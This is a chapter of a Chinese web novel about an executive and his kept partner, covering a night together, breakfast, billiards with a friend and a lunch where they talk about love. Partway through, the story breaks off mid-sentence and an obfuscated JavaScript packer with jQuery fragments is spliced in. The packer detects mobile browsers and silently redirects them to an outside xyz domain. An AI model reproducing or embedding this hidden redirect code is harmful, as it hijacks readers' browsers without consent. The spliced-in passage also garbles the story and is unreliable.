第 156 章 感情

作品:《男配想要抢救一下

    刚撒过火,两人间的气氛都还有些生涩。


    因为撒了火又得躺一张床上睡觉所以觉得尴尬么?床都躺上了,不睡一觉又觉得可惜?


    薄越不觉得有什么。


    沈策西不一样他是个很要面儿的人。


    薄越觉着他这么做,也很符合他的性子。


    窸窣的被子摩擦声响在夜里响起他微凉的指尖碰到了他裸露的皮肤沈策西被腹肌一紧,他握住他的手,说:“被子弄脏了没地睡。”


    薄越一顿,问:“不做?”


    他这两个字在深夜仿佛带着点诱惑勾得人心底发痒。


    “被子脏了……没地方睡。”沈策西直愣愣的重复了一遍。


    这话很暧昧他没有直接说不做,也没有说做。


    他在纠结。


    之前从来没纠结过这事的人今天突然变了性,薄越掀开微醺的眼,在夜色里看着他后颈“那就不做了。”


    他的手慢腾腾的往回手,指尖似有若无的划过他的肌理,惹得人遐想连篇,心神不宁收到半路,沈策西又攥着他的手不放。


    完全不是不想做的意思。


    “沈总。”薄越似笑非笑,“你这是要,还是不要?”


    “我今天来不是为了这个事儿。”沈策西声音飘忽,说,“你偏要勾我你自己勾起来的火自己灭。”


    说完他拉着人的手碰到了自己睡裤裤腰带。


    “不准做到最后。”沈策西说“这是对你的惩罚懂吗?”


    不放进去就不算做。


    薄越垂下眼:“嗯知道了。”


    他也没问他错哪儿。


    薄越不是一个会委屈自己的人。


    半个小时后床是没弄脏裤子脏了薄越从衣柜里找衣服穿沈策西躺床上从尾椎一路麻到天灵盖的余韵犹存。


    裤子是没脱但隔靴搔痒跟被人拿棍子揍了一顿屁股似的。


    也不知道是在惩罚谁。


    “这条行吗?”薄越拿着一条睡裤问。


    沈策西也没看心不在焉的应了声。


    “你手怎么样了?”


    “手?”薄越低头看了眼沈策西要不提他都快忘了他说快好了沈策西又“嗯”了声好像就随口一提换了裤子那裤子不能用洗衣机洗薄越拎着去了卫生间


    轻薄柔软的睡裤和内裤不难洗。


    “哗啦啦”——


    水龙头的水冲进盆子里溅出白花花的


    水花。


    男人坐在卫生间的小板凳上,上半身裸着,只套了条裤子,手臂上还有被挠出来的红痕,他手肘搭在腿上,等水满。


    外面隐隐传来叫他的声音,薄越关了水。


    才一会儿没见,沈策西找来了。


    “你干什么呢?”沈策西站在卫生间门口。


    “把裤子洗一下。”薄越说,“明天干了不好洗。”


    盆里是他和沈策西弄脏的裤子。


    沈策西也看到了,脸上明显的有了几分不自在。


    薄越指尖浸入水中:“你先睡吧。”


    沈策西看着他搓着裤子,脸有些烫,他内裤还没谁给他洗过,这种私密的东西,他碰都不会让人碰,别人碰了他都嫌。


    薄越要不想洗,丢了就是了。


    他浑身上下虽然都不便宜,但好像又挺不喜欢浪费。


    是个勤俭持家的好男人。


    一道阴影从旁边袭来,薄越转头,沈策西嫌他洗的慢,让他起来,然后,他坐下拎起裤子一搓,薄越听到了“撕拉”一声响。


    薄越:“沈总火气挺大。”


    沈策西绷着唇:“……回头给你买新的。”


    “也不用,这么费尽心思的,”薄越慢腾腾的说,“让我穿你买的衣服。”


    扯破的那件还恰恰就是薄越的。


    很难说,他没有这么个想法。


    薄越目光意味深长。


    沈策西:“……”


    衣服洗完了,薄越挂上了阳台。


    晚上睡觉,沈策西说冷,薄越让他把被子盖好,他翻过身,把被子给卷了过去,薄越一拉,把人给拉到了自己怀里,这回人不闹了。


    但隔了半晌,他又开口问他:“你以前也给人洗过内裤?”


    这问话有些许的敏感,往深了想,是在试探他以前有没有和别人也这么亲密过,薄越睁开眼,今晚沈策西是很反常,说话都拐着以前不会拐的弯。


    “我没有这么……”薄越想了想,说,“变态的爱好。”


    “那你动作那么熟练呢。”沈策西道。


    这个问题很难说,毕竟,薄越自己内裤,都是自己洗的。


    薄越:“我天赋异禀。”


    沈策西:“……”


    “沈总还满意吗?”


    “……”


    沈策西意识到自己问题问的意图太明显,明显得跟为难人似的。


    他琢磨了好一会儿,开口:“为什么想来做这行?”


    “……嗯?”


    沈策西漫不经心的重复了一遍。


    薄越轻哂,本来,只是觉着沈策西挺有意思,明明拒绝了他的相亲,又自己送上了门儿,还一无所知的撩拨人。


    薄越:“兴趣。


    兴趣?受过情伤?沈策西脑子里已经构造出了一部狗血大剧,愣是没法安在薄越身上。


    怎么看,都是薄越让别人受情伤还差不多。


    他说这不是体面的活,问他打算干多久。


    被迫失足的薄越:“沈总包我多久,我就干多久。


    沈策西心尖儿蓦地一颤,连问为什么都没问出来。


    深夜这场夜聊,后来也忘了怎么收的尾,第二天一早,沈策西就恢复了常态,昨夜的一切都似一场幻觉,他又恢复了他大公司老板的王霸之气。


    薄越从厨房里端着咖啡出来,看到沈策西脸色恹恹的下楼,问道:“昨晚没睡好?


    “还没去上班?那恹恹的脸色退了些许。


    薄越:“今天放假,要吃点儿吗?


    沈策西道要喝咖啡,坐凳子上大爷似的等着人伺候。


    薄越进去一趟再出来,他的咖啡从他那边的位置,挪到了沈策西手边,他扫了眼,没说什么,在他对面坐下,沈策西低头刷着手机,也不知道在看什么。


    “过两天我要去出差。沈策西道,“不用给我发消息,我来不了。


    薄越说好。


    沈策西瞥了他几眼:“你要实在挨不住寂寞,发一两条也行。


    薄越:“挨不住寂寞?


    “是,别他妈跑去借酒消愁。沈策西道,“不就几天没来,至于吗。


    沈策西跟失了忆一般,薄越细想了下,确定昨晚喝了酒的人是他不是沈策西,也确定自己没有篡改过记忆。


    这是自己给自己昨晚那失控找台阶下呢。


    “毕竟,薄越一勾唇角,没难为他,端着咖啡送到唇边,“我挨不住寂寞。


    沈策西:“……


    “你今天没事儿?他问。


    薄越:“嗯。


    “正好,等会儿跟我去个地方。沈策西说。


    桌球室。


    “咚——


    一个飞镖扎在了飞镖盘上,沈策西窝在沙发上,手里还握着几个飞镖,眯着眼瞄准飞镖盘,一人从他面前路过,险些被他飞镖扎了个正着。


    “我操。孟之武道,“沈总,什么仇什么怨,你这是打算要我命呢。


    “扎不着你,放心——


    一个飞镖投了出去,“就算扎着了,也死不了。


    孟之武:“……别说这么恐怖的话好吗。


    “你这是怎么了?心情不好啊?孟之武拿着零嘴在他旁边坐下,企图当他的心灵导师,“欲求不满呢。


    沈策西比薄越矮上一点儿,但在孟之武看来,身高不是问题,矮子攻那也是攻,薄越那张脸长得委实是好看,身量也不差,但毕竟,沈策西是金主。


    沈策西心不在焉的,压根儿没听清孟之武在说什么,就听孟之武手机在那响个不停了,他瞥了眼,“你手机出故障了?


    孟之武乐呵呵的给他看了眼,全是他小情儿发来的。


    沈策西:“人不就在那边呢,发什么消息。


    孟之武那小情儿就坐在不远处。


    孟之武:“这不是那什么,分享欲,看到好看的,好玩儿的,就想发,乐意发,我就喜欢黏人的。


    “不嫌吵呢。沈策西说。


    孟之武:“热闹点好——你跟薄越怎么处的?处了这么久,我还以为你顶多包个一两星期,图个新鲜。


    沈策西沉默了会儿,说:“他不烦人,挺好的。


    他又看了眼在另一边打桌球的薄越,吐着烟圈道:“薄越要变成他那样儿,我铁定不会包他这么久。


    他指的是孟之武的情儿。


    沈策西来这儿,是被孟之武叫来的,孟之武查到了一个账户,沈策西发生意外的事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14998100|89484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他觉自己也有责任,这事查得挺尽心。


    桌上桌球散乱,薄越打了会桌球,沈策西叫他来这儿,又让他自己打发时间,似乎没有特别的意思,没过多久,那头沈策西叫他过去,四人一块去吃午饭。


    饭桌上,孟之武那小情儿一直在给他夹菜,两人旁若无人的亲昵,薄越看见沈策西看了那边好几眼。


    “你看看人家。沈策西指了指那边。


    薄越抬眸:“嗯,看了。


    “你怎么看?


    “吃着饭看。


    沈策西:“……我是让你学学。


    “学什么?


    “知道孟之武为什么那么喜欢那小孩儿吗?沈策西说,“人又听话,又会来事儿。


    “所以,你也喜欢这款儿?


    “……我是让你给我夹菜。沈策西嘴里蹦出这几个字。


    “吃饭不要多看。薄越哼笑了声,夹了一块排骨在他碟子里,“容易消化不良。


    沈策西:“……


    “唉!我听见了啊!


    孟之武嚷道,“薄越你说谁让你们消化不良呢。”


    “没谁。”薄越不疾不徐道,“你听岔了。”


    碗里那块排骨静置片刻,被沈策西夹着吃了。


    薄越又给他夹了一只虾,沈策西犯懒,不想剥,不想弄脏手,薄越就把虾夹过去自己吃了。


    沈策西:“……”


    见人面无表情盯着他看,薄越有些忍俊不禁。


    他夹了一个虾放碗里,还没吃,被沈策西夹过去,连壳带肉的一起吃了,一边吃,还一边盯着薄越。


    “好吃吗?”薄越问。


    “嗯,好吃。”


    薄越戴上手套剥虾,虾剥完了,放碗里,剥了一小堆,放在了他手边:“喜欢就多吃点儿。”


    沈策西动作一滞,捏着筷子的手一紧。


    薄越摘了手套,他已经吃得差不多了,不习惯吃得太撑,他停了筷,端起茶杯喝了口水。


    孟之武和他小情儿去上厕所,半天没回来。


    “你是不是跟人谈过?”


    忽而,他听到沈策西问。


    薄越:“没。”


    “为什么不谈?”


    “太忙,没兴趣,没碰到喜欢的,都能成为理由。”


    “追你的人挺多吧。”


    “嗯,从这儿能排到巴黎。”


    “……吹牛呢。”


    薄越笑了笑。


    “那你就没想过谈个恋爱什么的,你现在年纪也正好。”


    “谈恋爱啊……”薄越说,“光想有什么用。”


    沈策西想问他什么意思。


    “我不是,卖身给你了吗?”薄越说,“好人家的姑娘男人,谁看得上我。”


    “怎么就看不上了,你人长得这么好看,性格又好。”沈策西就挺不乐意听这话了,“而且我也不差吧,给我当情儿怎么了?”


    “不是。”薄越听他前半段话听得挺好玩儿,说,“我是说,我总不能,脚踏两只船,沈总,你这是怂恿我绿你呢?”


    “你还有这种癖好?”


    沈策西:“……”他回过味。


    他总不能直接跟薄越说,要谈,那也只能跟他谈。


    人薄越还只想跟他上床呢。


    他把底牌出了,接下来还有什么玩的。


    要是薄越跟他说喜欢他……


    沈策西端着水杯喝了一口水。


    谈恋爱这个话题,放在他们之间,有些过于的暧昧,他们这种关系,可以上床,但谈感情就是敏感区域。


    而沈策西会跟他谈起这方面,薄越有一点儿意外,又有一点儿意料之中。


    但很难说,他是突发兴起,还是有所预谋。


    作者有话要说


    感谢在2023-06-2520:52:37~2023-06-2620:59:09期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢投出地雷的小天使:所以因为、狸圆1个;


    感谢灌溉营养液的小天使:居崽17瓶;每天都在想吃什么、北木木兮、穷的叮当响、接口异常,请联系管理10瓶;早起的鸟儿、别枝5瓶;清晓、颯嵐2瓶;归于人海、唯你独好、清风明月、仰望&、lvliy、黎蝉、想变成猫猫头、终于过了好吧、南棵25837263、鱼▼-▼七秒记忆、阿铭丶、千墨1瓶;


    非常感谢大家对我的支持,我会继续努力的!